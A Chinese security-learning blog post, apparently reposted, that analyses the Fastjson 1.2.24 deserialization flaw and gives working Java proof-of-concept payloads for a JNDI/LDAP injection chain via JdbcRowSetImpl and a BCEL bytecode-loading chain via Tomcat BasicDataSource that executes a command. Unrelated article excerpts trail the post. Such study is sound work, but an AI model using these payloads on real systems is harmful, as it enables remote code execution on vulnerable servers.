fastjson反序列化-1.2.24漏洞利用与分析

0x01 利用条件

通过对fastjson基础知识的学习和反序列化流程的分析,发现它与我们之前学的常规的反序列化又不太一样。fastjson自己定义了一套反序列化规则,它不需要反序列化的类去继承Serializable接口,也不需要找readObject函数作为入口。相反,它是将类中的setter和满足特定条件的getter方法作为出发点,@type所指向的全类名必须能够找到就可以反序列化成功。总的来说,从原生反序列化中的属性可控到寻找setter或者getter方法可控。(ps:这点很重要)

本篇文章主要学习两种利用方法,出网和不出网。

0x02 出网+JNDI注入

利用类:JdbcRowSetImpl

该类有一块JNDI注入的代码逻辑:

图片

代码是反编译出来的,但是不影响。conn属性默认为空,不用管自然会走到else if。getDataSourceName是getter方法,

图片

它的返回值我们可控,就可以实现JNDI注入。那么接下来就是寻找哪个getter或者setter方法调用了connect方法,查找用法全局搜索,在本类中是有两处。

图片

我们用setAutoCommit方法,

图片

接收一个布尔型的参数,conn默认为空,自然会调用到connect方法。那可不可以用前面的getter方法,Fastjson基础篇讲到parse方法里会执行返回值类型为Map等特定的getter方法。

图片

而它的返回值只是一个普通的接口,不满足条件。

图片

但是在下面的toJSON会遍历执行所有的getter(基础篇没有写,文章最后会分析一下),前提是上面的代码不会出错,自己可以调一下,是会出错的。到此整个利用流程结束,将setAutoCommit作为入口,getDataSourceName作为输入实现JNDI注入。

使用工具Yakit起一个恶意的ldap服务,里面放着恶意类,很方便。

图片

最终POC

 
  1. package fastjson.test2;

  2. import com.alibaba.fastjson.JSON;

  3. public class JdbcRowSetImplPOC {

  4. public static void main(String[] args){

  5. String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8086/LrcaDhze\",\"autoCommit\":\"false\"}";

  6. JSON.parseObject(s);

  7. }

很简单,也不需要去过多的分析。感兴趣也可以自己调试一下。

图片

0x03 不出网+动态加载字节码

JNDI注入实现的是远程类加载,这种利用方法主要实现本地类加载。需要相关tomcat的依赖

图片

利用类:ClassLoader

需要注意的是,它不是java.lang下的类加载器,它是继承于原生的ClassLoader,在包com.sun.org.apache.bcel.internal.util下。

利用方法loadClass,

图片

defineClass最终实现类加载。class_name是传进来的参数,我们需要让它走到第一个if分支里,不然是会抛出异常的,跟进到createClass方法,

图片

看逻辑,我们传进去的串前面必须满足

 
  1. $$BCEL$$

八个字符,进入到这个函数后会对第八个字符后面的串解码并返回,所以我们只需要将字节码编码,前面加上

 
  1. $$BCEL$$

标记符就好了。

接下来就是如何调用到这个loadClass方法了。这就需要前面说的tomcat依赖里的类了:BasicDataSource。

图片

在createConnectionFactory方法里,利用的地方是第二个Class.forName,用于通过类的全限定名来加载和获取对应的 Class对象,该方法像图中所说,有三个参数。

 
  1. 参数一:类的全限定名,用于获取它的Class对象。

  2. 参数二:布尔型,为true时,在类加载的时候会进行初始化。

  3. 参数三:选择指定的类加载器。

能够指定任意的类加载器,那就与开头的loadClass方法对接上了,代码中第二个参数为true,会进行初始化。动态类加载的两个条件满足,能够执行恶意代码。

现在需要的是driverClassName和driverClassLoader属性是否可控,可控的前提是是否存在对应的getter和setter方法。

图片

图片

查找用法很容易就能找到,(也有对应的setter,没放截图而已)那么接下来就是要找哪个getter或者setter方法调用了createConnectionFactory,这里找两层就能找得到了。

 
  1. createConnectionFactory-》createDataSource-》getConnection

图片

到此整个流程分析结束。恶意类代码:

 
  1. package fastjson.test2;

  2. import java.io.IOException;

  3. public class Evaltest {

  4. static {

  5. try {

  6. Runtime.getRuntime().exec("calc");

  7. } catch (IOException e) {

  8. e.printStackTrace();

  9. }

  10. }

  11. }

包名应该得一样,之前用不一样包名的字节码文件弹不出计算器。可以写一个普通的代码逻辑。

 
  1. package fastjson.test2;

  2. import com.sun.org.apache.bcel.internal.classfile.Utility;

  3. import com.sun.org.apache.bcel.internal.util.ClassLoader;

  4. import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

  5. import java.io.IOException;

  6. import java.nio.file.Files;

  7. import java.nio.file.Paths;

  8. import java.sql.SQLException;

  9. public class FastJsonBcel {

  10. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {

  11. ClassLoader classLoader = new ClassLoader();

  12. byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Evaltest.class"));

  13. String s = Utility.encode(bytes,true);

  14. BasicDataSource basicDataSource = new BasicDataSource();

  15. basicDataSource.setDriverClassLoader(classLoader);

  16. basicDataSource.setDriverClassName("$$BCEL$$"+s);

  17. basicDataSource.getConnection();

  18. }

  19. }

要控制的属性也就两个,一个是要加载的字节码,另一个是类加载器。代码逻辑前面都说过了,很容易能看懂了。运行也是可以弹出计算器,最后写一个最终的fastjson反序列化的payload:

 
  1. package fastjson.test2;

  2. import com.alibaba.fastjson.JSON;

  3. import com.sun.org.apache.bcel.internal.classfile.Utility;

  4. import com.sun.org.apache.bcel.internal.util.ClassLoader;

  5. import java.io.IOException;

  6. import java.nio.file.Files;

  7. import java.nio.file.Paths;

  8. import java.sql.SQLException;

  9. public class FastJsonBcel {

  10. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {

  11. ClassLoader classLoader = new ClassLoader();

  12. byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Evaltest.class"));

  13. String s = Utility.encode(bytes,true);

  14. String code = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+s+"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

  15. JSON.parseObject(code);

成功弹出计算器。

图片

0x04 toJSON方法遍历所有getter的分析

算是补的基础的坑,但是不会说太细,知道就好。

下断点调试吧,以第二个利用代码作为例子。

图片

对BasicDataSource类所继承的类的做个判断,这里都不是,直接跳过。又开始判断BasicDataSource对象的类型了。这里也都不是,

图片

跟进到getFieldValuesMap方法里面。

图片

遍历所有的getter方法,然后将它们对应的字段的值储存在Map中。

图片

当遍历到getConnection方法时,跟进getPropertyValue方法,继续跟进到get方法。

图片

动态调用函数,成功调用getConnection方法,作为反序列化的开头,继续跟进的话也就回到刚才利用分析的地方。到此就结束。

0x05 结语

Fastjson的1.2.24版本是最先发现漏洞的版本,这篇文章也是作为学习Fastjson反序列化的开端。后续会继续学习Fastjson高版本的绕过。

反序列化之路任重而道远。

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/468963.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

视觉SLAM理论到实践系列:补充——泊松公式证明

视觉SLAM理论到实践系列文章 下面是《视觉SLAM十四讲》学习笔记的系列记录的总链接,本人发表这个系列的文章链接均收录于此 视觉SLAM理论到实践系列文章链接 下面是专栏地址: 视觉SLAM理论到实践专栏 文章目录 视觉SLAM理论到实践系列文章视觉SLAM理论…

png格式怎么转成gif?一个小窍门快速转换

如何将png转换成gif动画?作为新媒体工作者,在日常办公中少不了使用到gif格式图片。那么,当我们遇到需要将png格式转换成gif格式的时候要怎么操作呢?很简单,使用gif动画图片(https://www.gif.cn/&#xff09…

android studio的布局没有提示之SDK不匹配

我新建了一个项目,然后突然发现布局没有提示了: 我看了下我的build.gradle 我直接修改compileSdkVersion为30就能正常使用了

在微信小程序中或UniApp中自定义tabbar实现毛玻璃高斯模糊效果

backdrop-filter: blur(10px); 这一行代码表示将背景进行模糊处理,模糊程度为10像素。这会导致背景内容在这个元素后面呈现模糊效果。 background-color: rgb(255 255 255 / .32); 这一行代码表示设置元素的背景颜色为白色(RGB值为0, 0, 0)&a…

linux 基础总结

1、简述Raid0、raid1、aid5、Raid10的区别 RAID:redundant array of independent disks, 独立冗余磁盘阵列 磁盘阵列是由很多块独立的磁盘,组合成一个容量巨大的磁盘组,利用个别磁盘提供数据所产生加成效 果提升整个磁盘系统效能。利用这项技术&#x…

Scala--03--变量和数据类型

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 变量和数据类型1.注释2 变量和常量(重点)3 标识符的命名规范4 字符串输出5.IO 输入 输出键盘输入读写文件 IO 6.数据类型(重点&a…

Alma Linux - Primavera P6 EPPM 安装及分享

引言 继上一期发布的Rocky Linux版环境发布之后,近日我又制作了基于Alma Enterprise Linux 的P6虚拟机环境,同样里面包含了全套P6 最新版应用服务 此虚拟机仅用于演示、培训和测试目的。如您在生产环境中使用此虚拟机,请先与Oracle Primaver…

选择电能表时电流规格是否越大越好

选择电能表时,电流规格是否越大越好是一个值得深入探讨的问题。实际上,这个问题的答案并不是绝对的,而是需要根据具体的使用场景和需求来进行权衡。下面,我将从多个方面对这一问题进行详细的分析和探讨。 一、电流规格与电能表的基…

达索的有限元分析软件Abaqus 2024版本下载与安装配置

目录 前言一、安装前准备二、Abaqus 安装总结 前言 Abaqus软件是一款广泛使用的有限元分析软件,可用于模拟各种工程应用程序,包括结构、流体力学、热传递、电磁和声学等。该软件提供了广泛的建模功能和多种求解器,可以帮助工程师预测材料和结…

面试笔记——Redis(缓存击穿、缓存雪崩)

缓存击穿 缓存击穿(Cache Breakdown): 当某个缓存键的缓存失效时(如,过期时间),同时有大量的请求到达,并且这些请求都需要获取相同的数据,这些请求会同时绕过缓存系统&a…

数据集笔记:METR-la 原始数据转input/ground truth

0 问题介绍 在交通预测/时间序列预测的论文中(如论文笔记:Dual Dynamic Spatial-Temporal Graph ConvolutionNetwork for Traffic Prediction_dual dynamic spatial-temporal graph convolution ne-CSDN博客) 模型输入的是过去12个时间片的…

掌握关键技巧!音频转换精灵如何使用?

在数字媒体时代,音频格式的转换已成为日常工作中不可或缺的一部分。为了满足这一需求,市场上涌现出众多音频转换工具。其中,音频转换精灵以其强大的功能和简便的操作赢得了广泛好评。本文将为你详细介绍如何使用该软件,让你轻松完…

Compose UI 之 Segmented buttons 分段按钮

Segmented buttons SegmentedButton 是一种分段式按钮组件,它允许用户在一组相关的选项中选择一个或几个。 上图中:① 单选的分段式按钮。② 多选的分段式按钮。 分段式按钮的几个特点: 分段式按钮是带有状态的按钮,又有单选和多选之分。 从设计上将,不论是单选或是多选…

C# StableDiffusion StableDiffusionSharp 脱离python臃肿的环境

目录 说明 效果 项目 代码 下载 C# StableDiffusion StableDiffusionSharp 脱离python臃肿的环境 说明 Stable Diffusion in pure C/C github地址:https://github.com/leejet/stable-diffusion.cpp C# Wrapper for StableDiffusion.cpp github地址&#x…

SWIFT(环球同业银行金融电讯协会)详细介绍

可以说,最严厉的金融制裁之一,莫过于切断俄罗斯与SWIFT的连接。SWIFT究竟又是什么,在金融领域占据如此重要的地位?本文将从理论、实操以及技术层面展开详尽分析。 本文纲要 前言 一、SWIFT是什么 二、SWIFT的成立背景和组织架…

【13】vue2和vue3对比

vite: https://github.com/vitejs/vite 面试题:谈谈你对 vite 的理解,最好对比 webpack 说明 webpack 原理图 vite 原理图 面试题答案: webpack 会先打包,然后启动开发服务器,请求服务器时直接给予打包结果。 而 vite 是直接启动开发服务器,请求哪个模块再对该模块进行实…

自喻女“梵高”,VRAR元宇宙领域业余画手举办线上3D虚拟数字化处女展!

众所周知,梵高画作通常采用粗大的笔触和厚重的油彩,结合丰富且饱和的色彩,给人印象鲜明大胆且笔触有力,比如著名画作《向日葵》、《星月夜》和《加歇医生》中可以看出,相比传统构图规则,他更倾向于用自己的…

蓝桥杯 2023 省B 接龙数列

思路分析: 创建一个大小为10的向量 hash,用于记录以每个数字结尾的字符串数量。输入字符串数量 n。循环读取每个字符串,并更新 hash 中以当前字符串结尾的字符串数量。同时更新最大字符串数量 count。输出不可达的字符串数量,即 …

HubSpot出海CRM助力企业实现全球营销布局!

随着全球化的浪潮不断推进,越来越多的企业开始将视线投向更为广阔的国际市场,寻求新的增长点。然而,国际化拓展并非易事,企业需要构建一套有效的全球营销战略,以应对不同国家和地区的文化差异、市场需求和竞争环境。在…

漫谈5种注册中心

01 注册中心基本概念 1.1 什么是注册中心? 注册中心主要有三种角色: 服务提供者(RPC Server):在启动时,向 Registry 注册自身服务,并向 Registry 定期发送心跳汇报存活状态。 服务消费者&…